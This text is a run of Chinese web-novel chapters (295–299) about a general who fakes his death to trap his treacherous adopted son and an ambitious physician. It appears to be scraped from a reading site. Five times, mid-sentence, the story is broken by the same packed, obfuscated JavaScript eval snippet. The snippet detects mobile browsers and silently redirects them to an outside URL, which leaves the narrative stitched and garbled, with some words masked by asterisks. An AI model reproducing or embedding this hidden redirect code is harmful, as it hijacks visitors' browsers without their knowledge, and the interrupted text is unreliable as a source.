萧晏辞一锤定音,“此事,宁可信其有,不可信其无,我们顺藤摸瓜继续查,自然能印证林铮的消息是否可靠。待此事解决了,再向林铮求证此事不迟。” 众人都没有异议。 眼下,的确不是怀疑林铮身份的时候。 这个消息是真是假,他们有的是法子查证。 戈叙白唯恐谷栖山中招,当即第一时间前去安排。 又过了两日,派出去寻人的大军回城,带回来一个坏消息。 领兵将领郑硕跪地请罪,“将军,属下查到了瑾王和戈参将的消息,但是……” 谷栖山气势威压,满脸沉肃,“他们人呢?” “属下与羌笛人发生了交锋,对方说,瑾王和戈参将在他们手里,若要他们放人,需得将军您亲自前去谈判。” 谷栖山神色急切,“当真?你可亲眼见到了人?” “是,属下亲眼所见,虽离得远,但那身形容貌,的确十分相像,断乎错不了。” 谷栖山狠狠松了口气,“太好了!他们还活着。” 又问,“他们的情况如何?是否有伤?” 郑硕语气迟疑,“他们身上血迹斑斑,看上去,似乎不大好。但人的确还活着。” 落在羌笛人的手里,岂有不受皮肉之苦的道理? 谷栖山面上露出沉痛之色。 “羌笛贼子,委实可恶!待本将去会会他们!” 第295章 谷栖山尸骨无存 谷栖山亲自点兵,准备出城前去与羌笛人谈判。 谷兆麟闻讯而来,面上满是焦急,“义父,您的身上余毒未消,怎能这时领兵?” 谷栖山已然换上了铠甲,面上神色不容置疑。 “瑾王和叙白都在对方的手里,我定要亲自前去营救。” 谷兆麟语气焦急,“义父,让我去吧,我定能将瑾王和叙白带回来,您的身子尚未痊愈,切不可贸然出城,若您有个三长两短,这西平城的安稳如**系?” 谷栖山的心腹老将段横江也站出来劝。 但谷栖山的态度却十分坚决,“我休养多日,身子已然好了大半,区区羌笛贼子,不足为虑。瑾王和叙白都在他们的手里,我断然不能坐视不管。” 谷兆麟越发着急,“义父,此事恐怕有诈,先前楚大人明明说瑾王已然坠崖,而今怎会又在羌笛的手里?您莫要中了对方的圈套。” 谷栖山眸色幽沉,“瑾王坠崖,或许没有死,而是被羌笛人抓住了。郑统领说自己看得一清二楚,定然错不了。就算有可能有诈,哪怕有万分之一的可能,我也要一探究竟。” 众人还要再劝,谷栖山大手一挥,“好了,你们都不必再劝。瑾王乃亲王,他在西平出了事,本将军难辞其咎,而今京中的钦差尚在,本将军若不拿出态度来,如何向皇上交代?” 这话让众人都无话可说。 谷兆麟提出同去,谷栖山拒绝了,“城中需要有人镇守,你留下,镇守后方,我也能更加放心。” 谷兆麟闻言,便也不再坚持,眸底闪过一抹算计。 书宁说得没错,用瑾王和戈叙白做诱饵,义父必然上钩。 他悄悄给羌笛人递了信,这才有了这一出戏。 羌笛人准备了天罗地网,他也给义父准备了大礼,他只要出了城,势必腹背受敌,有去无回。 等着吧,他很快就能去跟他心心念念的徒弟在阎罗殿相聚了。 楚翊安听闻了此事,再也躺不住了,撑着从床上坐起来。 “怎么可能?瑾王怎么会活着?我明明看到他从那么高的山崖掉下去的!我看得一清二楚,就是他!” 这话他说得多了,自己都完全相信了。 好似当夜自己真的亲眼看到了萧晏辞的脸。 赵书宁听着他的絮叨,神色一派镇定。 “慌什么?瑾王落到羌笛的手里,岂会有活路?” 楚翊安的脸色依旧难看。 这岂能一样? 瑾王若是坠崖身亡的,那功劳就是他的。 但瑾王若是落在羌笛人的手里才丢了性命,功劳与他就没有半点关系。 他如何甘心? 便是戈叙白也没有死,那他受的这些伤岂不是都白费了? 赵书宁看出他的心思,却什么都没有解释。 待此事成了之后,再告诉他也不迟。 谷栖山亲自率领大军出城,段横江随行,引得百姓议论纷纷。 谷兆麟站在城门远眺,目送大军远去,唇角勾起一抹阴冷的笑,“义父,我们的父子情分,就到此为止了。” 翌日,一支队伍仓惶回城,原本的五千大军,现在只余一半不到。 为首的便是段横江,他面色惨白,身后的一众士兵亦是人人狼狈。 刚进了城,段横江就支撑不住,一头栽倒。 立马有士兵上前搀扶,这时才发现,他的后腰中了一刀,血流不止。 谷兆麟闻讯,第一时间赶去。 “段将军,这是怎么回事?你们怎会如此狼狈?义父呢?瑾王和叙白呢?” 段横江窜着粗气,艰难地从齿缝里挤出一句话。 “将军,没了……” 然后,整个人便彻底昏迷,人事不省。 这话让谷兆麟心头砰砰直跳。 他赶忙唤来其他士兵,详细询问战况。 “我们与羌笛人对战,原本势如破竹,还将斩杀了羌笛的二皇子,但我们的人再次中邪发狂,竟自相残杀,将军一时不察,中了一箭!” “将军坚持救下戈参将,原本我们可以护着将军突围,但戈参将却突然临阵倒戈,把将军斩**下!我方军心涣散,羌笛军趁势猛攻,我等不敌,竟是连将军的尸身,也没能抢回来。” 这番话说完,那小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15453990|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将已然泣不成声。 所有人都难以置信。 但亲身经历了这场大战的人,俱是众口一词,他们不得不相信此事。 所有人都受到了迎头痛击。 谷栖山是镇西军的主心骨,他没了,而且还死在了戈叙白的手里,这打击无异于晴天霹雳。 尤其是那些戈叙白一派的人,完全不敢置信。 谷兆麟面上一派震惊和沉痛,但心头却涌起一股难掩的兴奋与激动。 他的谋划,成了! 羌笛人比他更想要义父的性命,所以,对方采纳了他的计划,让人伪装成了戈叙白,取得了义父的信任,趁其不备杀了他。 义父**,戈叙白也成了勾结羌笛的**凶手,他就算还活着,也永远别想再回来。 他将不再是自己的威胁。 羌笛的二皇子也被斩杀了,这实乃意外之喜。 谷兆麟非常努力才压住了自己心头的激动。 半晌,他抬起头,眸底一片猩红。 “好个戈叙白,义父待他不薄,他竟勾结羌笛人杀害义父,他简直狼心狗肺!” 众人纷纷附和,痛骂戈叙白。 也有人忍不住提出质疑,“戈参将不是那样的人,这其中是不是有什么误会?” “对啊,戈参将素来得将军的器重,他没理由这么做。” 立马就有人开口反驳,“误会?那么多双眼睛都亲眼所见,还能是什么误会?” 那些帮戈叙白说话的人很快被堵得哑口无言。 谷兆麟幽幽开口,“这段时间,义父时常与我说,他上次**之事多有蹊跷。” 他只说了这么一句便不再多言,但就是这么一句话,就引起了众人无限联想。 “难道,将军上次**便是他做的?” “十有**!” “他定是知晓将军怀疑他,便趁着出城营救瑾王的时候与羌笛暗中勾结!” 众人越说越激动,戈叙白头上的罪名也越扣越多,他原本的功劳也彻底被抹杀。 谷兆麟听着众人对戈叙白的口诛笔伐,心中前所未有的快意。 戈叙白,你也有今天! 第296章 谷兆麟春风得意 这时有人想起了另一茬,“瑾王呢?可救回来了?” 屋中静了一瞬。 这一刻,大家心里都生出了不好的预感。 亲历了此战的将士道:“那人不是瑾王,是羌笛人假扮的,目的就是为了增加筹码,引将军出城迎战。” 这个结果,也在众人的预料之中。 这时,楚翊安撑着伤体从外头进来,语气笃定。 “瑾王殿下当夜便已坠崖,乃是我亲眼所见,绝对不可能有错。此事明显就是一个局。” 谷兆麟看了他一眼,眸底闪过一丝鄙夷。 他这般急吼吼地赶来,无非就是生怕自己射杀瑾王的功劳没了。 真是眼皮子浅,令人瞧不起。 楚翊安的确是为此而来。 他很想知道,羌笛人手中的瑾王究竟是真是假。 果然,一来就听到了自己想听的消息。 羌笛人的手中的人是假冒的。 楚翊安趁势又给戈叙白扣了一个黑锅。 “当夜,瑾王坠崖时,戈叙白便在,是有人放冷箭,瑾王才会坠崖,从那放箭的速度和箭法来看,很像他的手笔。” ——他的功劳,只需要吴王知道即可。明面上,他不可能背负这个罪责。 而戈叙白是最好的罪魁祸首的人选。 众人听罢,又对他一番口诛笔伐。 “将军待他视若亲子,他却如此背信弃义,当真是狼心狗肺!” “昔日他困顿可怜,幸得将军器重,岂料今日羽翼稍丰,竟反噬其主。盖闻斗米养恩,担米养仇,今观其之行,方知古训不虚。” 谷兆麟听着这些话,虽然是在骂戈叙白,但莫名觉得被骂的好像是自己。 大家狠狠骂了一通,才将话头重新拉了回来。 “大将军惨死,难道就这么算了吗?” “定要荡平羌笛,砍下戈叙白的头颅,为大将军报仇!” 众人义愤填膺。 如此血仇,若是不报,未免窝囊。 众人商议,再次出兵羌笛,势要为谷栖山报仇雪恨。 然而,就在即将出兵之际,战马却是出现了腹泻之症,士兵们亦是出现了不同程度的不适。 这场声势浩大的讨伐便搁置了下来。 这桩消息还必须得捂住,不能外传,不然,只恐城中会人心惶惶。 若羌笛胆大包天,再次来犯,他们没有战马,也只能吃哑巴亏。 城中为谷栖山办了丧事,声势浩大,谷兆麟作为养子,为其摔盆,哭得万分悲痛。 西平城的百姓亦是人人哀戚,夹道相送。 谷栖山是西平城的定海神针,他倒下了,百姓们不禁感到惶惶不安。 赵书宁不仅能医治人,也能医治战马,她开了方子,让战马慢慢好了起来,只是依旧不如以往威武,还需好生休养。 他们除掉谷栖山,只是为了除掉绊脚石,也为了自保,却并无继续与羌笛死战的心思。 若当真鏖战到底,谷兆麟也担心羌笛人会说出实情来。 虽然谷兆麟与羌笛人联系时隐藏了身份,不曾暴露,但此事若被羌笛人捅出来,势必引起不必要的风波,影响到他掌握兵权的大计。 所以,不论是战马还是士兵的问题,都是他们暗中所为。 如此既能阻止这场大战,也能趁机为赵书宁再镀一层金。 但谷兆麟资历浅,他即便是谷栖山的义子,要执掌三军,有不少老臣心有不服,此事遇到了阻力。 就在这时,谷兆麟干了一件大事。 他带着一支心腹队伍,前往羌笛,竟是将叛徒戈叙白斩杀,带回了他的首级,就挂在城门之上。 那人头与戈叙白有七分相像,又蓄着须,满是血污,将另外的三分也遮掩了。 没人怀疑那人的身份。 所有人都认为,谷兆麟替谷栖山报了仇。 此举为他迎来了声望,原本的局势彻底逆转,他接管三军的阻力瞬间少了大半。 在他的有意安排和推动下,此事终于落定——不过,只是暂时代理。 真正的任命,还得上禀朝廷,由皇上来裁夺。 但谷兆麟想到了先前赵书宁所说的话,觉得此事已是十拿九稳,一切不过时间问题罢了。 这段时日,他走路都是带风的。 他对赵书宁的态度也越发温柔,“书宁,这一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15453991|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 切全都归功于你,你当真是我的福星。” 赵书宁对此局面也十分满意。 “大事已成,接下来,就该料理那医女了。” 这才是赵书宁真正的目的。 除掉那医女,永绝后患。 并且,在此次治疫中,为自己上表功劳。 谷兆麟神色诚恳,“你且放心,此事我立马就派人去办,定办得妥妥帖帖的,绝不叫你吃半点亏。” 有人检举,城中混入了羌笛的细作。 而那细作,便是最近深得民心的阿蘅大夫身边的侍从。 林铮的容貌有几分羌笛人的影子,若是不细看,或许不明显,但有心人细看,就能发现这一点。 赵书宁想要对付蒋南笙,不仅仅是除掉她,还要推翻她先前的论断,就将目光落在了林铮的身上,往他身上泼脏水。 谷兆麟受到消息,立马派人前去捉拿。 但他们却晚了一步,林铮与蒋南笙已经离开,不知所踪。 谷兆麟大怒。 他颇有一种在赵书宁面前夸下海口,但最后却没把事情办成的恼怒。 他不想被赵书宁认定是无能之人。 赵书宁对此结果虽有不满,但她脑子一转,立马就有了对策。 人没抓到不要紧,关键是要把他们身上的罪名扣严实了。 她对谷兆麟一番支招,他便立马派人安排。 很快,林铮与阿蘅是羌笛细作的消息便在城中传遍。 他们不仅自己逃遁了,甚至还放走了羌笛的俘虏。 幸而那些俘虏被及时发现,重新抓了回来。 但那二人依旧不知所踪,他们十分狡诈,听到一点风吹草动的声音,立马就躲了起来。 阿蘅竟是羌笛细作,原本她身上所有的神医光环都被击碎,连带着,她原本为蒋家所做的那番解释也受到了质疑,百姓**再次出现了转变。 一时之间,城中**纷扰,争论不休。 跟那位来历不明的阿蘅大夫比,赵书宁至少来历清楚,有名有姓,是真正的大齐人,她所作的一切,都不可能背叛大齐。 经此一事,赵书宁再次在百姓心中争得一席之地。 第297章 林铮的身世 谷兆麟春风得意,赵书宁心中悬着的大石也终于落定。 他们已然把方方面面的隐患都除掉,无人能威胁到他们。 而今,便只等把任宗平送走,谷兆麟就能当这西平的土皇帝了。 殊不知,他们以为的高枕无忧不过全是假象,一切风波都潜藏在平静的表象之下。 被斩于马下,尸骨无存的谷栖山,正好端端地在富绛村中。 若是谷兆麟见了,怕是要吓得以为他借尸还魂了。 先前那所谓被斩于马下,不过都是一场戏。 戈叙白带人乔装成了羌笛人,在双方厮杀之际,以羌笛援军的名义混入其中。 谷栖山**的瞬间,便早已有人接应掩护。 这一场局中,真正受伤的人,便是段横江。 他的受伤和亲口讲述,让这场戏足以以假乱真。 加上一众士兵人云亦云的话,更是坐实了谷栖山被戈叙白斩**下的事实。 谷栖山假死,金蝉脱壳,也让谷兆麟以为自己计谋得逞。 他们将计就计,就能让谷兆麟主动上钩。 谷栖山被护送到了富绛村,见到了在此地休养的萧晏辞,以及刮了胡子,年轻了十岁不止的徒弟。 直到这一刻,谷栖山悬着的心才终于落定。 他下跪向萧晏辞请罪,“末将施救不利,才让殿下陷入险境,末将罪该万死。” 萧晏辞示意戈叙白将他扶起来,“本王是被有心人暗中算计,与将军无关。” 谷栖山依旧满脸愧悔。 “是末将教子无方,酿下此等滔天罪孽,末将万死难辞其咎。” 谷兆麟的所作所为,完全超出了谷栖山的预想,谷栖山对他已然彻底失望,唯有亲手手刃了他,方能对得起被他戕害的将士。 萧晏辞神色冰冷,“人的本性如何,早有定数,有的人天生凉薄寡恩,便是如何教导,也掰不回来。” 好在,谷栖山无事,那吃里扒外的小人,他们也有的是法子收拾。 戈叙白看向林铮,语气诚恳。 “此次多谢你及时传回消息,我们这才有余力及早准备,将计就计。” 众人的注意力都投向了林铮,先前那个被大家忽略的问题也浮上心头。 林铮脸上依旧没有什么表情,“我说过,我憎恶羌笛的一切,谷将军镇守西平,护卫百姓安宁,是大家心中的英雄,他们意图谋害谷将军,我不会坐视不理。” 这话让众人对他的好感加深了几分。 谷栖山的目光落在他的脸上,带着几分打量。 初见时,谷栖山便觉得他有几分眼熟,而今这种感觉尤甚。 萧晏辞看着他,“此事如此隐秘,你是如何得知的?” 林铮垂眸,“我自有我的法子。” 见他不欲多说,萧晏辞却并未就此放过。 “若本王一定要知道呢?” 他的语气多了几分强势与威严。 蒋南笙张了张嘴,想说些什么,到底没开口。 她理解萧晏辞的怀疑与谨慎,也没法替林铮做决定是否说出实情,她只能保持沉默。 林铮默了默,终于开了口。 “我是羌笛党项部族可汗朗戈多吉之子。” 众人闻言,俱是露出惊诧之色。 党项部族是羌笛最大的部落,羌笛与大齐的数次大战,皆是朗戈多吉发起。 此次被孙牧之斩杀的羌笛三皇子,便是朗戈多吉的三子。 谷栖山与朗戈多吉交锋多年,两人是老对手。 难怪他初见便觉得林铮眼熟,他竟是朗戈多吉之子。 林铮似察觉到了众人看他的眼神,面容绷紧了几分,声线平淡,毫无起伏地讲述自己的过往。 他的母亲是西平城一个普通的农家女,但生得十分美丽。 当时还是皇子的朗戈多吉带兵劫掠村子,发现了她,将她掳走。 林铮出生了。 朗戈多吉喜新厌旧,对他们母子没有太多庇护,他们的日子过得十分艰难。 “我的几个兄弟一直视我为眼中钉,想除掉我,我趁机逃走了,但我在羌笛有一只海东青,也有一些心腹,那个消息便是心腹传给我的。” “我与朗戈多吉虽是血缘上的父子,但他辱我娘亲,杀我亲人,还残杀我大齐的同胞,我娘亲一生凄苦,皆因他而起,我恨他入骨。” 林铮从羌笛逃走时,身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15461039|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 受重伤,只剩下半条命。 他几乎以为自己要**,没想到却被蒋南笙所救。 他意识混沌,大家都在宣判他的**。 大家对他的身份亦有怀疑,觉得他是羌笛人,不该救。 但蒋南笙没有放弃他,亲自为他施诊,硬是将他从鬼门关拉了回来。 蒋南笙便似他生命中的一束光,给了他除了母亲以外的关爱。 身体稍微好些之后,他就一直跟在蒋南笙的身后,给他打下手。 没曾想,那日,蒋南笙遭遇了突袭。 林铮经历过生死,他对危险的感知很敏锐,他第一时间就意识到不对,本能地冲上去救了蒋南笙,将她带走。 在给蒋南笙处理伤口时,他才发现对方竟是个姑娘。 原本只是将她当做寻常的救命恩人,但在发现这个秘密之后,他的心境也慢慢发生了变化。 林铮讲述着自己的过往,心头不可避免地笼上了一抹阴霾。 忽而,一双手轻轻地握住了他,温暖,柔软,却带着莫大的鼓励。 他低头,就对上了蒋南笙满含担忧的眼眸。 这些事,林铮并没有瞒着蒋南笙,她接纳了他,也接纳了他的身份和过往。 她知道,那些都是他无法遗忘和释怀的伤疤。 今日,他重提旧事,无疑是将自己的伤疤揭露人前,蒋南笙不禁心生怜惜。 她握着林铮的手,抬眸看向萧晏辞,语气坚定。 “瑾王殿下,林铮虽是朗戈多吉之子,但他体内同样流着大齐的血,他的心是向着大齐的。我相信他。” 萧晏辞没有马上说话。 戈叙白默了默,开口,“羌笛二皇子,是他亲手射杀的。” 戈叙白率领心腹,佯作羌笛援军,林铮主动提出同去。 他的目标很明确,直指羌笛二皇子。 戈叙白留意到,那二皇子见到林铮时,瞳孔放大,满脸骇然。 原本他以为那羌笛二皇子只是惊骇于林铮的悍勇,而今想来,方知这其中还有另外一层缘由。 这位羌笛二皇子定然以为林铮已经**,万万没想到,他非但没死,自己反倒成了林铮的刀下亡魂。 第298章 攻心之计 萧晏辞看着林铮,“南笙是本王的挚友,她看人素来很准,她既然信你,那本王也信你,希望你不要让本王失望。” 林铮紧绷的心弦终于放松了几分,他语气铿锵有力,“愿为瑾王殿下效劳!” 蒋南笙心头也松了口气。 此事说罢,众人转而商议起正事。 谷兆麟留不得。 杀了他简单,但这么杀了他,却是对他的宽容。 将他的罪行公之于众,让他人人得而诛之,这对他而言,方是最大的惩罚,也是对那些受害者的一个交代。 萧晏辞的目标则是赵书宁。 赵书宁掀起的风波属实不小。 必须要撬开她的嘴,让她承认自己的所作所为,方能洗清太仓商行身上的脏水,也方能让蒋家的功劳不被抹杀。 此女的狡诈程度非比常人,要撬开她的嘴并不简单,必须采用特殊的手段。 陆知苒开了口,“赵书宁行事隐蔽,必然不会给自己留下把柄,我们要查到证据让她认罪,并不容易。但如果有人指证她,帮我们提供证据,一切就简单多了。” 众人心思俱是活络起来。 除了赵书宁,谁还会知晓这些内幕? “谷兆麟。” “没错。” 谷兆麟是赵书宁的同伙,没有他的帮助,赵书宁干不成那些事。 所以,谷兆麟也是最有可能有证据的人。 他至少是个人证。 叶寒衣蹙眉,“可是,谷兆麟怎会把赵书宁供出来?他们是一伙的,把赵书宁供出来,他自己也落不到好处。” 这的确是个问题。 大家就此开始商讨。 若是以利诱之,他能否上当? 谷栖山和戈叙白都觉得不会,“他不傻,知道权衡利弊。他若是什么都招了,必然难逃罪责,便是再大的好处,也没有机会享受。” 陆知苒面露沉吟,“我有一计,或能让他开口。我且说来,你们参谋一二,看此计是否能成。” 众人齐齐看向她。 陆知苒便将自己的谋划尽数道来。 众人听罢,脸上俱是露出思索之色。 叶寒衣道:“此法既是攻心,也是挑拨离间,我认为可行。” 陆知苒看向谷栖山和戈叙白,“二位对谷兆麟更加了解,你们觉得此法能否行得通?” 戈叙白点头,“我觉得可行。” 谷栖山亦道:“或可一试。” 最了解谷兆麟的人都肯定了此法,大家都精神一振。 计划有了,接下来便是具体实施。 很快,大家便制定了一个完整的计划。 谷栖山和戈叙白虽然“已死”,但他们在军中却有自己的眼线和心腹,他们要布局安排并不难。 谷兆麟以为一切尽在他的掌握之中,其实这只是他们为他营造的假象罢了。 萧晏辞环顾屋中众人,“这桩计划,只有我们在场几人知晓,对其他任何人,都不可透露半个字。” 众人颔首。 计划商议妥当,谷栖山已然露出了些许疲态。 戈叙白眼底浮起担忧,“师父,您的身子怎么样?” 谷栖山摆了摆手,“无妨。” 话虽如此,戈叙白面上担忧依旧不减。 以往师父的身体康健,他连续在城门坚守两天两夜,都不显疲态。 而今,他明显大不如前,上次中的**,终究是损了他的根本。 戈叙白心头升起一股难言的愤怒与悲怆,恨不得将谷兆麟大卸八块。 他看向蒋南笙,“能否劳烦蒋小姐替我师父诊一诊脉?” 蒋南笙没有推辞。 搭上脉搏,蒋南笙面露诧异,“谷将军先前是中了青骨枯之毒?此毒凶猛,谷将军不仅性命无碍,还能恢复到如此地步,这已然是奇迹。” 叶寒衣眼珠子一转,立马接话,“谷将军本身便武艺超群,而且还服用了解毒圣药阎罗笑,这青骨枯之毒自然伤不到他的性命。” 蒋南笙听到阎罗笑,脑中的记忆立马调动了起来。 “阎罗笑?世间竟然当真有此药?它不是失传了吗?” 叶寒衣忙问,“你也听说过阎罗笑?” 蒋南笙点头,“我在一本古籍上见过,但却没有机会亲眼见到此药,本以为已然失传,原来世间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15461040|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竟当真有此药。谷将军,恕我冒昧,能否让我一观?” 她的双眸晶亮,满含期盼。 谷栖山却遗憾摇头,“最后一颗阎罗笑已被我服下,世间再无此药。” 蒋南笙眼底的期盼落空,转而笼上一抹难言的失望。 她不甘心,“那您可知哪位前辈有此药方?能否为我引荐一二?” 她对医术的渴望完全发自内心,是以她忘却了一切,但有关医术的一切却都牢记于心。 谷栖山的眸底闪过一抹黯然,他摇头,“那位前辈已然身故,他走得突然,亦未来得及将药方传给后人,只留下了几颗珍贵的药丸,但现在,也已被用完了。” 蒋南笙眼底的失望满得几乎溢了出来。 叶寒衣心中也很遗憾,但她眼下更想验证自己的猜测。 “谷将军,你对此事知晓得如此清楚,莫非你与那位前辈有些渊源?” 叶寒衣尽量将自己的好奇与八卦掩饰起来,但谷栖山还是一眼洞穿。 他没有明说,只道:“的确有些渊源。” 叶寒衣:“那你不妨给蒋小姐引荐一二。” 谷栖山摇头,“他的后人不成气候,于医术上并无建树。” “这么说,谷将军您也认识那位前辈的后人?” 谷栖山看着叶寒衣,笑道:“你对此事倒是十分好奇。” 他看着叶寒衣,也仿若看到了旧人。 叶寒衣面不改色,“我是在替蒋小姐问。” “后人不才,愧对先祖,羞于提及。” 他话都说到这个份儿上,叶寒衣也不好再追问。 不用再追问,她心中也大致有了答案。 这阎罗笑,十有**就是传自谷家。 谷栖山便是那位后人,若非如此,他怎会如此置喙旁人? 他与姑母果然渊源不浅,不然也不会把这么珍贵的东西赠给姑母。 陆知苒冷眼旁观,心中也生出了同样的猜测。 但此事关涉到柔妃的声誉,谷栖山避而不谈,陆知苒自然也不会多嘴。 叶寒衣正在沉思,就听得谷栖山开口。 “你叫什么名字?” 第299章 得不到的,就是最好的 他看着她,眼底是长辈对晚辈的温和。 叶寒衣报上名讳。 谷栖山又道:“你与你父亲生得很像,性子也像。” “您这就瞧出我的性子了?” “直率,坦诚,心思都写在脸上。” 叶寒衣摸了摸自己的脸。 难道方才自己的意图那么明显吗? 萧晏辞从旁插话,“说你傻呢。” 叶寒衣:…… 谷栖山面上露出两分无奈,“瑾王殿下,您莫要挑拨离间。” 叶寒衣也附和,“对啊,你可闭嘴吧,不说话没人当场哑巴。” 二人斗嘴,谷栖山没有再说话,只是看着他们的眼神染上了一抹难以言说的怅惘,又好似在通过他们在看着什么人。 年轻真好啊。 戈叙白不死心,又追问,“蒋小姐,你是否有法子替师父调养内伤?” 蒋南笙缓缓摇头,“损伤的根本是不可逆的,我也没有更好的法子。” 谷栖山对此早有心理准备,他并无异色,戈叙白却是心口一阵发涩。 蒋南笙又道:“但您的底子好,只要好生保养,平日的生活并无任何妨碍。只是,三年内,不可再轻易动用内力。” 三年内不可动用内力,那他这三年就相当于废人,这便给了朝廷接管西平的机会。 戈叙白神色几番变化,谷栖山却轻松玩笑,“听到了吗?我身体好得很,一时半会儿死不了。” “师父,岂能把死字挂在嘴边?” 叶寒衣也跟着“呸呸呸”,“武将不兴说那些。” 她爹每次说死字,她娘都得呸呸呸几声,叶寒衣也学了来。 谷栖山本不忌讳这些,但看着他们两人那副严肃的神色,他心头微暖,嘴上便也改了口。 “好,不说。” 死过一回,他也的确比以前更加惜命了。 最近,蒋鹤荣等人又陷入了愁云惨淡。 他们万万没想到,原本扭转的**竟然还会再起风波,蒋家再次遭到了质疑与攻讦。 蒋鹤荣将这一切全都怪在了“阿蘅”的头上。 “谁能想到那人竟是羌笛细作?当初我第一次看到她就觉得她十分可疑,根本不是什么好东西,而今看来,果然如此!搞不好,咱们蒋家也要被牵连,扣上一个勾结羌笛的罪名。” 其他人没有他骂得凶,但心中对此的确是认同的。 此时,大家都忘了,是蒋南笙给蒋老太医医治,这才让他苏醒了。 就在蒋鹤荣激情开骂的时候,蒋老太医满含怒气的声音从门内传来。 “闭嘴!你个没用的东西,出事了就只知怨怪旁人,可有从自己的身上找过原因?” 蒋老太医撑着坐了起来,他的身子依旧单薄瘦弱,面皮枯瘦如老树皮一般,但此时骂人的气势却是不弱。 外头的事,他都已知晓。 他并没有因此受到打击,一病不起。 蒋南笙离开之前,已然跟他通过气。 蒋南笙说,“一切都是我们的计划,您老只需好好保重自身即可,切莫被外头那些唬人的消息吓到了。待时机合适,一切都可逆风翻盘。” 她没有说出具体的计划,蒋老太医也什么都没有多问。 对于蒋南笙,蒋老太医素来都是放心的。 她这么说,自己信她。 他不能倒下,要撑起来,若是有需要用到他的地方,他不至于力不能支。 方才听到自己儿子那番话,蒋老太医简直火冒三丈。 这个不成器的东西,连自己孩子都认不出来,还一个劲地往她头上泼脏水。 方才还气势汹汹的蒋鹤荣,在父亲面前瞬间低下了头,老实成了鹌鹑,但依旧不服气。 “爹,您怎么起来了?儿子说得也没错,您还不知道,那医女是奸细,她先前给你看诊,定然也是别有居心。现在咱们蒋家又成众矢之的了。” 蒋老太医冷声,“旁人如何说,我管不着,我只知道,我这把老骨头便是那阿蘅姑娘救回来的,也是她帮我们蒋家说话,这份情,我记在心里,你们也给我记着。” 蒋家众人一时低下了头。 蒋鹤荣原本想说些什么,但见老父亲如此盛怒,到底什么都没说。 有人问,“爹,那咱们现在要做些什么?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15465716|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “安分守己,听从安排,做我们该做的事,朝廷不愿冤枉我们任何一个人。” 蒋老太医始终坚信,公道自在人心,有心人对蒋家的算计不会成功。 他这份笃定,更多的也是来自于对蒋南笙的信任。 蒋老太医是蒋家的定海神针,他都重新振作了起来,其他人即便觉得前途茫然,也同样打起了精神,对未来也生出了几分缥缈的希冀。 谷兆麟最近心情十分不错,但他并未因此得意忘形,是赵书宁提点了他。 “我们只成功了一半,大局未定,此事你越发要沉着稳重,在军中树立威望,赢得老将们真正的拥护与器重。此事便得意忘形,或可功亏一篑。” 谷兆麟将她的话奉若圣旨般,可谓言听计从。 这话也的确是为他好,谷兆麟当即敛起轻狂,端肃态度,越发勤勉上进,倒是赢得了不少赞誉。 谷兆麟觉得,自己今日所得到的一切,七成都是赵书宁的功劳,对她越发看重。 同时,心中原本那股不甘与遗憾,也再次冒了头。 如果赵书宁选了自己,那自己不仅有了贤内助,还多了个可以为自己出谋划策的军师。 他的路子,定然走得更加稳当。 谷兆麟越想,心头越是不甘,那股情绪将他疯狂拉扯,叫他躁动不已。 尤其是见到楚翊安那副窝囊样,谷兆麟心里越发不忿。 得不到的,永远都是最好的。 